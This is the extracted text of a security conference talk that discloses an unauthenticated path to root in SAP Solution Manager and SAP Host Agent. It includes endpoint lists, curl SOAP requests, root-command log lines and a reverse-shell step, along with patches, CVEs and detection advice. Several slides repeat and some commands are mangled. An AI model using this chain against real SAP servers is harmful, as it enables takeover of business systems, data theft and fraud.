An Unauthenticated Journey to Root: Pwning Your Company’s Enterprise Software Servers

Pablo Artuso - Yvan Genuer
Disclaimer

• This presentation contains references to the products of SAP SE. SAP, R/3, xApps, xApp, SAP NetWeaver, Duet, PartnerEdge, ByDesign, SAP Business ByDesign, and other SAP products and services mentioned herein are trademarks or registered trademarks of SAP AG in Germany and in several other countries all over the world.

• Business Objects and the Business Objects logo, BusinessObjects, Crystal Reports, Crystal Decisions, Web Intelligence, Xcelsius and other Business Objects products and services mentioned herein are trademarks or registered trademarks of Business Objects in the United States and/or other countries.

• SAP SE is neither the author nor the publisher of this publication and is not responsible for its content, and SAP Group shall not be liable for errors or omissions with respect to the materials.
Who are we?

Pablo Artuso
Security Researcher

@lmkalg

Yvan Genuer
Security Researcher

@_1ggy
1. Introduction
2. The Target: SolMan
3. From Unauthenticated Restricted Access...
4. ...to RCE as Agent administrator
5. ...to root them all!
6. Recommendations
7. Conclusion
1. Introduction
2. The Target: SolMan
3. From Unauthenticated Restricted Access...
4. ...to RCE as Agent administrator
5. ...to root them all!
6. Recommendations
7. Conclusion
Introduction - SAP?

- 87% of the Global 2000 use SAP
- 77% of the world’s transaction revenue
- 100% of F500 Oil & Gas
Introduction

Netweaver JAVA

S/4 HANA

Netweaver ABAP

SAP Solution Manager

SAP Administrators
1. Introduction

2. The Target: SolMan

3. From Unauthenticated Restricted Access...

4. ...to RCE as Agent administrator

5. ...to root them all!

6. Recommendations

7. Conclusion
The Target: SolMan

- SAP Solution Manager
- Technical SAP System dedicated to Administrators
- Highly connected into SAP landscape
- Used to manage all other SAP systems, OS independent, SAP product independant
The Target: SolMan
The Target: SolMan
Why is SolMan a target?
Because, it is the technical heart of the SAP landscape!
The Target: SolMan

- SolMan is not working alone
- It uses software agents installed on every SAP server
- Called SMDAgent for “SAP Solution Manager Diagnostic Agent”
- This agent manages communications, instance monitoring and diagnostic feedback to the SolMan
The Target: SolMan

Netweaver JAVA   S/4 HANA   Netweaver ABAP

SAP Solution Manager

SAP Administrators
The Target: SolMan

- SolMan is accessible using SAPGui or through its own web server
1. Introduction
2. The Target: SolMan
3. From Unauthenticated Restricted Access...
4. ...to RCE as Agent administrator
5. ...to root them all!
6. Recommendations
7. Conclusion
From Unauthenticated Restricted Access… Almost missed it

• **Where** to start?
  - Looking for all web applications exposed by SolMan related to SMDAgent

• **What** we found?
  - Around 60+ applications
  - Name like
    - tc~smd~agent~application*
    - tc~smd~*
  - 20+ of them accessible through HTTP GET, POST or SOAP requests
From Unauthenticated Restricted Access... Almost missed it

... SOAP  http://solman:50200/smd/ws/configuration/upgrade/agentports
SOAP  http://solman:50200/smd/ws/configuration/upgrade/setupAuthentication
GET   http://solman:50200/smd/upgrade/JavaSslPortCheck
GET   http://solman:50200/smd/upgrade/UMECheckServlet
SOAP  http://solman:50200/DiagSetupServices/DiagSetupConf
SOAP  http://solman:50200/SMDAgentRepository/ConfigurationOD
POST  http://solman:50200/tc~smd~agent~application~e2emai/CollectorSimulation
GET   http://solman:50200/tc~smd~agent~application~eem/EEM
GET   http://solman:50200/tc~smd~agent~application~logfilecollector/LogService
GET   http://solman:50200/E2eTraceGatewayW/E2eTraceServlet
SOAP  http://solman:50200/AgentConfigurationWS/AgentConfiguration
SOAP  http://solman:50200/ExmSetupServices/ExmSetupConf/
SOAP  http://solman:50200/ManagedSetupServices/Config1
GET   http://solman:50200/tc~smd~selfcheck~repository/SelfCheckTest
SOAP  http://solman:50200/SVGConvertService/SVGConvert
...
Hey look this one! Unfortunately authentication required, but sounds powerful.

Euh... no... it's not authenticated!

Damn, you are right! Almost missed it :)

From Unauthenticated Restricted Access... Almost missed it
End-user Experience Monitoring (EEM)

- **What:** Web application running in SolMan’s webserver.

- **Goal:** Evaluating availability and performance of systems from client side.

- **How:** Mimic end-user activities with automated scripts. These scripts are uploaded to the EEM and later deployed to the EEM robots. SMD agents are **EEM Robots** by default.

  old(UxMon) = EEM.
End-user Experience Monitoring (EEM)

Netweaver JAVA

S/4 HANA

Netweaver ABAP

SMDAgent

SMDAgent

SMDAgent

SAP Solution Manager

SAP Administrators

EEM

SMDAgent
End-user Experience Monitoring (EEM)

1. Administrator uploads a script
2. Script is deployed to a EEM robot
Wait.. You said EEM had no authentication at all?
End-user Experience Monitoring (EEM)
1. Introduction
2. The Target: SolMan
3. From Unauthenticated Restricted Access...
4. ...to RCE as Agent administrator
5. ...to root them all!
6. Recommendations
7. Conclusion
...to RCE as Agent administrator: EEM Technical Analysis

- **runScript** parameters:
  - Script ➞ “foo_script”
  - Agent name ➞ SMD host

- First attempt, not-so-happy answer:

```
<errorMessage>com.sap.smd.eem.admin.EemException: EEM is not enabled on this agent. Operation only supported when EEM is enabled.</errorMessage>
```
...to RCE as Agent administrator: EEM Technical Analysis

- **getAllAgentInfo** no parameters required.

- Type of information retrieved:
  - Versions of OS, JVM, SDK.
  - User environmental variables
  - EEM properties:
    - ... 
    - `eem.enable = false`
    - ...
...to RCE as Agent administrator: EEM Technical Analysis

- **setAgeletProperties** parameters:
  - Agent name ➔ SMD host
  - Key ➔ eem.enable
  - Value ➔ True

- **getAllAgentInfo**
  - eem.enable = True

- **runScript**

<errorMessage>com.sap.smd.eem.admin.EemException: Script foo_script not found.</errorMessage>
...to RCE as Agent administrator: EEM Technical Analysis

- **uploadResource** parameters:
  - Agent name ➔ **SMD host**
  - Content (b64) ➔ **b64(rand_string)**

<errorMessage>FatalError validating XML document: **Content is not allowed in prolog**</errorMessage>

- Content (b64) ➔ **b64(xml_prolog)**

<errorMessage>FatalError validating XML document: **Premature end of file.**</errorMessage>
• **From documentation**
  - Protocols: RFC, DIAG, HTTP, SOAP.
  - EEM editor.
  - SAP provides you an HTTP example script.

• Develop custom script based on error messages
  
  Error validating XML document: Invalid content was found starting with element 'blahblah'. One of '{Annotation, Headers, Param, Check, Search, Part}' is expected

• **GOT SSRF!**
to RCE as Agent administrator: Going for RCE

- Scripting language to mimic user actions → Powerful and flexible
- Blackbox → Whitebox (java application)
- Found the “Grammar” of the scripting language
  - Message-based language.
  - Message types:

```xml
<xsd:simpleType name="S_MessageType">  
  <xsd:restriction base="xsd:string">  
    <xsd:enumeration value="ServerRequest"/>  
    <xsd:enumeration value="Reset"/>  
    <xsd:enumeration value="Think"/>  
    <xsd:enumeration value="Command"/>  
  </xsd:restriction>  
</xsd:simpleType>
```
...to RCE as Agent administrator: Going for RCE

- From message parser analysis

```java
if (msgType == Message.COMMAND) {
    res = execute_command(message[msgType]);
}
```

- Some available commands:
  - Assign
  - AssignFromList
  - AssignFromFile
  - AssignJS
  - WriteVariableToFile
  - ReadVariableFromFile
...to RCE as Agent administrator: Going for RCE

- While analyzing those commands:

  ```java
  private String ExecuteCommand(final String expression) {
    final ScriptEngineManager manager = new ScriptEngineManager();
    final ScriptEngine js_engine = manager.getEngineByName("js");
    final String res = js_engine.eval(expression);
    return res;
  }
  ```

- Serious and common mistake in JAVA
- `expression` is not sanitized and it’s controlled by the attacker.

- Access to perform scripts → execute commands in SMD Agents

EVERYONE (no auth) → Run commands as daaadm
1. Attacker gets data from agents.
2. Attacker chooses target and change its configuration.
3. Attacker uploads RCE script to target
...to RCE as Agent administrator: Going for RCE

4. RCE as `daaadm` executed
...to RCE as Agent administrator
1. Introduction
2. The Target: SolMan
3. From Unauthenticated Restricted Access...
4. ...to RCE as Agent administrator
5. ...to root them all!
6. Recommendations
7. Conclusion
...to root them all: SAP Host Agent
...to root them all: What is that?

- Agent that can accomplish several life-cycle tasks
  - operating system monitoring
  - database monitoring
  - system instance control
  - upgrade preparation

- Installed automatically during the installation of new SAP system

- OS independent

...to root them all: Why we take a look?

Only 3 commands convinced us:

```
# ps -ef | grep hostctrl
root 92067 1 0 /usr/sap/hostctrl/exe/saphostexec pf=/usr/sap/hostctrl/exe/host_profile
 SAPADM 92072 1 0 /usr/sap/hostctrl/exe/sapstartsrv pf=/usr/sap/hostctrl/exe/host_profile
root 92338 1 0 /usr/sap/hostctrl/exe/saposcol -l -w60 pf=/usr/sap/hostctrl/exe/host_profile

# ss -larntp | grep 92072
LISTEN 0 20 *:1128 *:* users:(("sapstartsrv",pid=92072,fd=18))

# grep daaadm /usr/sap/hostctrl/exe/host_profile
service/admin_users = daaadm
```
Only 3 commands convinced us:

```
# ps -ef | grep hostctrl
root  92067  1  0 /usr/sap/hostctrl/exe/saphostexec pf=/usr/sap/hostctrl/exe/host_profile
sapadm 92072  1  0 /usr/sap/hostctrl/exe/sapstartsrv pf=/usr/sap/hostctrl/exe/host_profile
root  92338  1  0 /usr/sap/hostctrl/exe/saposcol -l -w60 pf=/usr/sap/hostctrl/exe/host_profile

# ss -larntp | grep 92072
LISTEN  0   20   *:1128   *:*   users:(("sapstartsrv",pid=92072,fd=18))

# grep daaadm /usr/sap/hostctrl/exe/host_profile
service/admin_users = daaadm
```
...to root them all: Why we take a look?

Only 3 commands convinced us:

```bash
# ps -ef | grep hostctrl
root  92067  1  0 /usr/sap/hostctrl/exe/saphostexec pf=/usr/sap/hostctrl/exe/host_profile
sapadm 92072  1  0 /usr/sap/hostctrl/exe/sapstartsrv pf=/usr/sap/hostctrl/exe/host_profile
root  92338  1  0 /usr/sap/hostctrl/exe/saposcol -l -w60 pf=/usr/sap/hostctrl/exe/host_profile

# ss -larntp | grep 92072
LISTEN   0   20   *:1128   *:*   users:(("sapstartsrv",pid=92072,fd=18))

# grep daaadm /usr/sap/hostctrl/exe/host_profile
service/admin_users = daaadm
```

Service exposed remotely
...to root them all: Why we take a look?

Only 3 commands convinced us:

```
# ps -ef | grep hostctrl
root  92067  1  0 /usr/sap/hostctrl/exe/saphostexec pf=/usr/sap/hostctrl/exe/host_profile
sapadm 92072  1  0 /usr/sap/hostctrl/exe/sapstartsrv pf=/usr/sap/hostctrl/exe/host_profile
root  92338  1  0 /usr/sap/hostctrl/exe/saposcol -l -w60 pf=/usr/sap/hostctrl/exe/host_profile

# ss -larntcp | grep 92072
LISTEN   0   20   *:1128   *:*   users:(("sapstartsrv",pid=92072,fd=18))

# grep daaadm /usr/sap/hostctrl/exe/host_profile
service/admin_users = daaadm
```

‘our’ daaadm is mentioned in configuration file.
...to root them all!
...to root them all!
Locally, as root or local Administrators, it is possible to perform several tasks using the binary `saphostctrl`

```
# /usr/sap/hostctrl/exe/saphostctrl
Usage: saphostctrl [generic option]... -function <Webmethod> [argument]...
saphostctrl -help [<Webmethod>]
```

Each function can have several different parameters
...to root them all: Functions

• 45+ functions:

- Ping
- StartInstance
- StopInstance
- ListInstances
- ACOSPrepare
- GetOperationResults
- CancelOperation
- IsOperationFinished
- ExecuteOperation
- GetCIMObject
- GetComputerSystem
- ListDatabases
- ListDatabaseSystems
- ListDatabaseMetrics
- ListDatabaseConfiguration
- ExecuteDatabaseOperation

- GetDatabaseStatus
- GetDatabaseSystemStatus
- StartDatabase
- StopDatabase
- AttachDatabase
- DetachDatabase
- GetDatabaseProperties
- SetDatabaseProperty
- LiveDatabaseUpdate
- PrepareDatabaseCopy
- FinalizeDatabaseCopy
- RegisterInstanceService
- UnregisterInstanceService
- ExecuteInstallationProcedure
- ExecuteUpgradeProcedure
- DeployConfiguration

- GetCapabilities
- ListOSProcesses
- GetSAPOSColVersion
- GetSAPOSColHWConf
- AddIpAddress
- RemoveIpAddress
- GetIpAddressProperties
- MoveIpAddress
- DetectManagedObjects
- DeployManagedObjectsFromSAR
- ExecuteOutsideDiscovery
- ConfigureOutsideDiscovery
- ConfigureOutsideDiscoveryPath
- ReloadConfiguration
- EnableCORS
- DisableCORS
...to root them all: Configuration

- The configuration file handles interesting content

```plaintext
SAPSYSTEMNAME = SAP
SAPSYSTEM = 99
service/porttypes = SAPHostControl SAPOscol SAPCCMS
DIR_LIBRARY = /usr/sap/hostctrl/exe
DIR_EXECUTABLE = /usr/sap/hostctrl/exe
DIR_PROFILE = /usr/sap/hostctrl/exe
DIR_GLOBAL = /usr/sap/hostctrl/exe
DIR_INSTANCE = /usr/sap/hostctrl/exe
DIR_HOME = /usr/sap/hostctrl/work
service/admin_users = daaadm sidadm
service/trace = 1
hostexec/trace = 1
```
...to root them all: Configuration

- The configuration file handles interesting content

SAPSYSTEMNAME = SAP
SAPSYSTEM = 99
service/porttypes = SAPHostControl SAP
DIR_LIBRARY = /usr/sap/hostctrl/exe
DIR_EXECUTABLE = /usr/sap/hostctrl/exe
DIR_PROFILE = /usr/sap/hostctrl/exe
DIR_GLOBAL = /usr/sap/hostctrl/exe
DIR_INSTANCE = /usr/sap/hostctrl/exe
DIR_HOME = /usr/sap/hostctrl/work
service/admin_users = daaadm sidadm
service/trace = 1
hostexec/trace = 1

Additional OS users authorized for system administration
...to root them all: Configuration

- The configuration file handles interesting content

```plaintext
SAPSYSTEMNAME = SAP
SAPSYSTEM = 99
service/porttypes = SAPHostControl SAP thru
DIR_LIBRARY = /usr/sap/hostctrl/exe
DIR_EXECUTABLE = /usr/sap/hostctrl/exe
DIR_PROFILE = /usr/sap/hostctrl/exe
DIR_GLOBAL = /usr/sap/hostctrl/exe
DIR_INSTANCE = /usr/sap/hostctrl/exe
DIR_HOME = /usr/sap/hostctrl/work
service/admin_users = daaadm sidadm
service/trace = 1
hostexec/trace = 1
```

But logged in is not enough... authentication is required directly when calling saphostctrl.
...to root them all: Configuration

- The configuration file handles interesting content

SAP Server

SAP Host Agent

Request Function

daadadm password ?
...to root them all: Configuration

- The configuration file handles interesting content

SAPSYSTEMNAME = SAP
SAPSYSTEM = 99

**service/porttypes** = SAPHostControl SAPOscol SAPCCMS

DIR_LIBRARY = /usr/sap/hostctrl/exe
DIR_EXECUTABLE = /usr/sap/hostctrl/exe
DIR_PROFILE = /usr/sap/hostctrl/exe
DIR_GLOBAL = /usr/sap/hostctrl/exe
DIR_INSTANCE = /usr/sap/hostctrl/exe
DIR_HOME = /usr/sap/hostctrl/work

service/admin_users = daadm sidadm

service/trace = 1
hostexec/trace = 1

Enabled Web service ports
...to root them all : Configuration

- The configuration file handles interesting content

```
[root@sapsystem exe]# strings sapstartsrv | grep wsdl
SAPCCMS/?wsdl
SAPDSR/?wsdl
SAPHostControl/?wsdl
SAPLandscapeService/?wsdl
SAPMetricService/?wsdl
SAPOscol/?wsdl
SAPControl/?wsdl
```

**Enabled Web service ports**

- `DIR_EXECUTABLE = /usr/sap/hostctrl/exe`
- `DIR_PROFILE = /usr/sap/hostctrl/exe`
- `DIR_GLOBAL = /usr/sap/hostctrl/exe`
- `DIR_INSTANCE = /usr/sap/hostctrl/exe`
- `DIR_HOME = /usr/sap/hostctrl/work`
- `service/admin_users = daaadm sidadm`
- `service/trace = 1`
- `hostexec/trace = 1`
...to root them all: Configuration

- The configuration file handles interesting content

```bash
[root@sapsystem exe]# strings sapstartsrv | grep wsdl
SAPCCMS/?wsdl
SAPDSR/?wsdl
SAPHostControl/?wsdl
SAPLandscapeService
SAPMetricService/\
SAPOscol/?wsdl
SAPControl/?wsdl
```

```xml
<definitions name="SAPHostControl" targetNamespace="urn:SAPHostControl">
  <types>
    <schema targetNamespace="urn:SAPHostControl" elementFormDefault="urn">
      <import namespace="http://schemas.xmlsoap.org/soap/encoding/"/>
      <simpleType name="OperationCode">
        <restriction base="xsd:string">
          <enumeration value="OPERATION-START"/>
          <enumeration value="OPERATION-STOP"/>
          <enumeration value="OPERATION_RESTART"/>
        </restriction>
      </simpleType>
    </schema>
  </types>
</definitions>
```

This XML file does not appear to have any style information associated with it. The document is produced by an SGML parser.
...to root them all: Local Traffic Analysis

Confirm that saphostctrl command line perform SOAP request locally
...to root them all : Curious credential

- Password change at every request
- Username still the same

{2D4A6FB8-37F1-43d7-88BE-AD279C89DCD7}:2702282443137234634522881264230474671502
...to root them all: Binary Analysis

- Using the username as entry point

```assembly
00490b30 lea  rdi, [rel data_cd8540]  "{2D4A6FB8-37F1-43d7-88BE-AD279C8...}"
00490b37 mov  rsi, rdx
00490b3a rdx
```
...to root them all: Binary Analysis

- Using the username as entry point
- Understand that a "**Trusted Internal Connection**" feature exist
...to root them all: Trusted Connection

SAP Server

SAP Host Agent

daadma

RequestLogonFile

logon42
...to root them all: Trusted Connection

SAP Server

daadadm

readfile()

SAP Host Agent

/usr
/sap
/hostctrl
/work
/sapcontrol_logon
/logon42
...to root them all: Trusted Connection

SAP Server

daaadm

SAP Host Agent

2702282443137234634522881264230474671502
/usr
/sap
/hostctrl
/work
/sapcontrol_logon
/logon42
...to root them all: Trusted Connection

SAP Server

Request Function

Password?

270228244313723463...

OK

SAP Host Agent
...to root them all: Trusted Connection

```
target:daaadm > curl -skL -X POST http://localhost:1128/SAPHostControl.cgi -H 'Content-Type: application/xml; charset=utf-8' --data '<?xml version="1.0" encoding="UTF-8"?>'<SOAP-ENV:Envelope xmlns:SAPHostControl="urn:SAPHostControl" xmlns:SAPControl="urn:SAPControl" xmlns:SAPMetricService="urn:SAPMetricService" xmlns:SAPOscol="urn:SAPOscol" xmlns:SAPDSR="urn:SAPDSR">
  <SOAP-ENV:Body>
    <SAPHostControl:RequestLogonFileResponse>
      <filename>/usr/sap/hostctrl/work/sapcontrol_logon/logon57</filename>
    </SAPHostControl:RequestLogonFileResponse>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
target:daaadm > target:daaadm > ls -larht /usr/sap/hostctrl/work/sapcontrol_logon/logon57
rw------- 1 daaadm sapsys 40 May 29 09:55 /usr/sap/hostctrl/work/sapcontrol_logon/logon57
```

```
target:daaadm > cat /usr/sap/hostctrl/work/sapcontrol_logon/logon57
38200284174274349106721965308980625124753
```
...to root them all: Trusted Connection

Knowing the daaadm password is not necessary anymore...

```
$ target:daaadm > curl -skL -X POST http://localhost:1128/SAPHostControl.cgi -H 'Content-Type: application/xml; charset=utf-8' --data 'xml=<?xml version="1.0" encoding="UTF-8"?>
  <S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
    <S:Body>
      <ns2:RequestLogonFile xmlns:ns2="urn:SAPHostControl">
        <daadm\(user\)/ns2:RequestLogonFile\(\)/S:Body\(\)/S:Envelope\(\)>
      </ns2:RequestLogonFile>
    </S:Body>
  </S:Envelope>
</SOAP-ENV:Envelope>

$ target:daaadm > target:daaadm > ls -rw----- 1 daaadm sapsys 40 May 29 09:55 /usr/sap/hostctl/work/sapcontrol_logon/logon57
$ target:daaadm > target:daaadm > target:daaadm > cat /usr/sap/hostctl/work/sapcontrol_logon/logon57
```
...to root them all!
...to root them all!
...to root them all: Functions

<table>
<thead>
<tr>
<th>45+ functions:</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ping</td>
</tr>
<tr>
<td>StartInstance</td>
</tr>
<tr>
<td>StopInstance</td>
</tr>
<tr>
<td>ListInstances</td>
</tr>
<tr>
<td>ACOSPrepare</td>
</tr>
<tr>
<td>GetOperationResults</td>
</tr>
<tr>
<td>CancelOperation</td>
</tr>
<tr>
<td>IsOperationFinished</td>
</tr>
<tr>
<td>ExecuteOperation</td>
</tr>
<tr>
<td>GetCIMObject</td>
</tr>
<tr>
<td>GetComputerSystem</td>
</tr>
<tr>
<td>ListDatabases</td>
</tr>
<tr>
<td>ListDatabaseSystems</td>
</tr>
<tr>
<td>ListDatabaseMetrics</td>
</tr>
<tr>
<td>ListDatabaseConfiguration</td>
</tr>
<tr>
<td>ExecuteDatabaseOperation</td>
</tr>
</tbody>
</table>
...to root them all: Vulnerabilities

- **45+ functions:**

<table>
<thead>
<tr>
<th>Function</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ping</td>
<td>GetDatabaseStatus</td>
</tr>
<tr>
<td>StartInstance</td>
<td>GetDatabaseSystemStatus</td>
</tr>
<tr>
<td>StopInstance</td>
<td>ListOSProcesses</td>
</tr>
<tr>
<td>ListInstances</td>
<td>ACOSPrepare</td>
</tr>
<tr>
<td>GetOperationResults</td>
<td>DetachDatabase</td>
</tr>
<tr>
<td>CancelOperation</td>
<td>GetDatabaseProperties</td>
</tr>
<tr>
<td>IsOperationFinished</td>
<td>GetDatabaseProperty</td>
</tr>
<tr>
<td>ExecuteOperation</td>
<td>LiveDatabaseUpdate</td>
</tr>
<tr>
<td>GetCIMObject</td>
<td>PrepareDatabaseCopy</td>
</tr>
<tr>
<td>GetComputerSystem</td>
<td>FinalizeDatabaseCopy</td>
</tr>
<tr>
<td>ListDatabases</td>
<td>RegisterInstanceService</td>
</tr>
<tr>
<td>ListDatabaseSystems</td>
<td>UnregisterInstanceService</td>
</tr>
<tr>
<td>ListDatabaseMetrics</td>
<td>ExecuteInstallationProcedure</td>
</tr>
<tr>
<td>ExecuteDatabaseOperation</td>
<td>DeployConfiguration</td>
</tr>
<tr>
<td>ExecuteUpgradeProcedure</td>
<td>EnableCORS</td>
</tr>
<tr>
<td>DeployConfiguration</td>
<td>DisableCORS</td>
</tr>
</tbody>
</table>

**Threat Example:**

- [Threat 140225778599744] CommandManager::StartOSCommand: start ./saphostexec
- [Threat 140225778599744] No user configured. Current user will be used.
- [Threat 140225778599744] Working directory will be changed to "/usr/sap/.../tmp/attacker"
...to root them all : Vulnerabilities

- **45+ functions**: 

<table>
<thead>
<tr>
<th>Function</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ping</td>
<td>GetDatabaseStatus</td>
</tr>
<tr>
<td>StartInstance</td>
<td>GetDatabaseSystemStatus</td>
</tr>
<tr>
<td>StopInstance</td>
<td>ListOSProcesses</td>
</tr>
<tr>
<td>ListDatabases</td>
<td>ExecuteOperation</td>
</tr>
<tr>
<td>GetCIMObject</td>
<td>LiveDatabaseUpdate</td>
</tr>
<tr>
<td>GetComputerSystem</td>
<td>DetectManagedObjects</td>
</tr>
<tr>
<td>ListDatabases</td>
<td>PrepareDatabaseCopy</td>
</tr>
<tr>
<td>ListDatabaseSystems</td>
<td>FinalizeDatabaseCopy</td>
</tr>
<tr>
<td>ListDatabaseMetrics</td>
<td>RegisterInstanceService</td>
</tr>
<tr>
<td>ListDatabaseConfiguration</td>
<td>UnregisterInstanceService</td>
</tr>
<tr>
<td>ExecuteDatabaseOperation</td>
<td>ExecuteInstallationProcedure</td>
</tr>
<tr>
<td>ExecuteInstallationProcedure</td>
<td>DeployManagedObjectsFromSAR</td>
</tr>
<tr>
<td>GetCapabilities</td>
<td>ExecuteOutsideDiscovery</td>
</tr>
<tr>
<td>GetComputerSystem</td>
<td>ConfigureOutsideDiscovery</td>
</tr>
<tr>
<td>ListDatabases</td>
<td>ConfigureOutsideDiscoveryPath</td>
</tr>
<tr>
<td>ListDatabaseMetrics</td>
<td>ReloadConfiguration</td>
</tr>
<tr>
<td>ListDatabaseConfiguration</td>
<td>EnableCORS</td>
</tr>
<tr>
<td>ExecuteDatabaseOperation</td>
<td>DisableCORS</td>
</tr>
</tbody>
</table>

```bash
[Thr 140225778599744] PID 9162: root: Executing command "mkdir -p -m 0770 /tmp/attacker/sapinst2019_11
[Thr 140225778599744] PID 9164: root: Executing command "mv /usr/sap/hostctrl/work/eip_3HeFAW /tmp/attacker/sapinst
[Thr 140225778599744] PID 9168: root: Executing command "/tmp/attacker/sapinst -exitOnError SAPINST_EXE"
```
...to root them all: Vulnerabilities

- **45+ functions**:

  - Ping
  - StartInstance
  - StopInstance
  - ListInstances
  - StopDatabase
  - StartDatabase
  - GetDatabaseSystemStatus
  - ListOSProcesses
  - GetSAPOSColVersion
  - ListOSProcesses
  - GetSAPOSColHWConf
  - ACOSPrepare
  - AttachDatabase
  - GetDatabaseProperties
  - GetIpAddressProperties
  - IsOperationFinished
  - SetDatabaseProperty
  - ExecuteOperation
  - GetCIMObject
  - PrepareDatabaseCopy
  - GetComputerSystem
  - FinalizeDatabaseCopy
  - ListDatabases
  - RegisterInstanceService
  - ExecuteInstallationProcedure
  - ReloadConfiguration
  - ListDatabaseConfiguration
  - ExecuteUpgradeProcedure
  - EnableCORS
  - ExecuteDatabaseOperation
  - DeployConfiguration
  - DisableCORS

---

Info: **OSP-0121**: Mounting network file system `/tmp/attacker/test.fs` -> `/tmp/mnt`
Info: **OSP-0301**: Calling SAPACOSPrep platform library function 'AcAttachNetfs' (part)
Info: **LNX-0121**: File system successfully mounted
Info: **OSP-0310**: Library function returned successfully
Info: **OSP-0200**: Operation succeeded
Info: `saphostcontrol: exitcode=9`
Info: `saphostcontrol: 'sapacosprep' successfully executed`
target: daaadm 58> /tmp/mnt/revershell
...to root them all!
...to root them all!
1. Introduction
2. The Target: SolMan
3. From Unauthenticated Restricted Access...
4. ...to RCE as Agent administrator
5. ...to root them all!
6. Recommendations
7. Conclusion
Recommendations - Prevention

- Missing Authentication Check in SAP Solution Manager

  - Logon in SolMan NWA
  - Navigate to
    - Configuration
    - Connectivity
    - Single Service Administration
  - Search for EemAdmin service
  - Modify the security part

  SAP Patch : 2890213
  CVE-2020-6207
Recommendations - Prevention

- Privilege Escalation in SAP Host Agent

```xml
<SOAP-ENV:Fault>
  <faultcode>
    SOAP-ENV:Server
  </faultcode>
  <faultstring>
    Forbidden: The user daaadm is not authorized to process the operation ExecuteInstallationProcedure
  </faultstring>
</SOAP-ENV:Fault>
```

SAP Patch : 2902645 & 2902456
CVE-2020-6234 & CVE-2020-6236
Recommendations - Prevention

Reduce attack surface by filtering access!

Keep SAP Solution Manager as up to date as possible!
Recommendations - Patches

- Am I vulnerable?
  - SOLMANDIAG 720 SP004 000011
  - SOLMANDIAG 720 SP005 000012
  - SOLMANDIAG 720 SP006 000013
  - SOLMANDIAG 720 SP007 000020
  - SOLMANDIAG 720 SP008 000016
  - SOLMANDIAG 720 SP009 000008
  - SOLMANDIAG 720 SP010 000002
  - SAP HOST AGENT 720 Patch 46
Recommendations - Patches

- Other important recent security patches related to SolMan

<table>
<thead>
<tr>
<th>SSN</th>
<th>CVE</th>
<th>Title</th>
<th>CVSS</th>
</tr>
</thead>
<tbody>
<tr>
<td>2931391</td>
<td>CVE-2020-6271</td>
<td>Missing XML Validation in SAP Solution Manager</td>
<td>8.2</td>
</tr>
<tr>
<td>2906994</td>
<td>CVE-2020-6235</td>
<td>Missing Authentication check in SAP Solution Manager</td>
<td>8.6</td>
</tr>
<tr>
<td>2845377</td>
<td>CVE-2020-6198</td>
<td>Missing Authentication check in SAP Solution Manager</td>
<td>9.8</td>
</tr>
<tr>
<td>2748699</td>
<td>CVE-2019-0291</td>
<td>Information Disclosure in Solution Manager 7.2</td>
<td>7.1</td>
</tr>
<tr>
<td>2738791</td>
<td>CVE-2019-0318</td>
<td>Information Disclosure in SAP NetWeaver AS Java</td>
<td>5.3</td>
</tr>
<tr>
<td>2772266</td>
<td>CVE-2019-0307</td>
<td>Information Disclosure in Solution Manager 7.2</td>
<td>3.4</td>
</tr>
<tr>
<td>2808158</td>
<td>CVE-2019-0330</td>
<td>OS Command Injection vulnerability in SAP Diagnostics Agent</td>
<td>9.1</td>
</tr>
<tr>
<td>More</td>
<td>2904933, 2839864, 2823733, 2849096, 2219592, 2130510</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Recommendations - Detection (EEM activity)

- **Maintain tracing level**: nwa/log-config
  - Tracing location: `com.sap.smd.eem.admin.EemAdminService`

- **Log name**
  - `defaultTrace_00.<x>.trc`

- **Actions that can be logged**
  - Script actions (stop/start)
  - Files uploaded
  - Information asked
  - more..
Recommendations - Detection (Host Agent activity)

- **Maintain tracing level**: Profile configuration
  - More information: SAP Note 2451419

- **Log name**
  - dev_saphostexec
  - sapstartsrv.log

- **Full of activity**
1. Introduction
2. The Target: SolMan
3. From Unauthenticated Restricted Access...
4. ...to RCE as Agent administrator
5. ...to root them all!
6. Recommendations
7. Conclusion
Conclusion: Chain of vulnerabilities
Gain restricted access to one SAP Solution Manager service

Conclusion : Chain of vulnerabilities
Conclusion: Chain of vulnerabilities

Execute arbitrary OS command as `daaadm` on every SAP servers
Conclusion: Chain of vulnerabilities

Execute arbitrary OS command as **root or system** on every SAP servers
Conclusion: Post exploitation

**Espionage**
Obtain customers/vendors/human resources data, financial planning information, balances, profits, sales information, manufacturing recipes, etc.

**Fraud**
Modify financial information, tamper sales and purchase orders, create new vendors, modify vendor bank account numbers, etc.

**Sabotage**
Paralyze the operation of the organization by shutting down the SAP system or the server, disrupting interfaces with other systems and deleting critical information, etc.
Conclusion: Final word

SAP Solution Manager is a great product. Secure it!
Conclusion : References

- Patch 2902645  https://launchpad.support.sap.com/#!/notes/2902645
- Patch 2902456  https://launchpad.support.sap.com/#!/notes/2902456
- Patch 2890213  https://launchpad.support.sap.com/#!/notes/2890213
- Patch 2808158  https://launchpad.support.sap.com/#!/notes/2808158
- Patch 2823733  https://launchpad.support.sap.com/#!/notes/2823733
- Patch 2839864  https://launchpad.support.sap.com/#!/notes/2839864
- Patch 2849096  https://launchpad.support.sap.com/#!/notes/2849096
- Patch 2772266  https://launchpad.support.sap.com/#!/notes/2772266
- Patch 2738791  https://launchpad.support.sap.com/#!/notes/2738791
- Patch 2748699  https://launchpad.support.sap.com/#!/notes/2748699
- Patch 2845377  https://launchpad.support.sap.com/#!/notes/2845377
- Patch 2904933  https://launchpad.support.sap.com/#!/notes/2904933
Conclusion: Greetings

- SAP Product Respond Team secure@sap.com

- Onapsis Security Research Lab info@onapsis.com

- Julien Tomasi 🇫🇷

- Cuervo Studio 🇦🇷
Thank you!

Questions?